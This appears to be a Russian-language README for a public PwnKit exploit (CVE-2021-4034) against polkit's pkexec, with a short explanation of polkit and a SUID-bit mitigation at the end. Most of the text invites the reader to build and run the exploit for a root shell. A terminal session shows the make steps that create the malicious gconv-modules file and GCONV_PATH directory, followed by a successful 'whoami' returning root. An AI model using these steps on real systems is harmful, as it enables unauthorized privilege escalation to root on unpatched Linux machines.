
Эксплойт для CVE-2021-4034 в polkit pkexec, предоставляющий root-оболочку через повышение привилегий SUID. Включает исходный код и инструкции по сборке.
эксплойт для повышения привилегий в polkit
Просто выполните make, ./cve-2021-4034 и наслаждайтесь root-оболочкой.
Оригинальный advisory от моей команды Qualys здесь
Если эксплойт сработает, вы сразу получите root-оболочку:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Обновление polkit на большинстве систем закрывает эту уязвимость, поэтому вы увидите справку по использованию, и программа завершится:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit (ранее PolicyKit) — это компонент для управления системными привилегиями в Unix-подобных операционных системах. Он предоставляет организованный способ взаимодействия непривилегированных процессов с привилегированными. Также с помощью polkit можно выполнять команды с повышенными привилегиями, используя команду pkexec, за которой следует команда, которую необходимо выполнить (с правами root).
Если для вашей операционной системы нет патчей, вы можете временно снять SUID-бит с pkexec в качестве меры смягчения.
# chmod 0755 /usr/bin/pkexec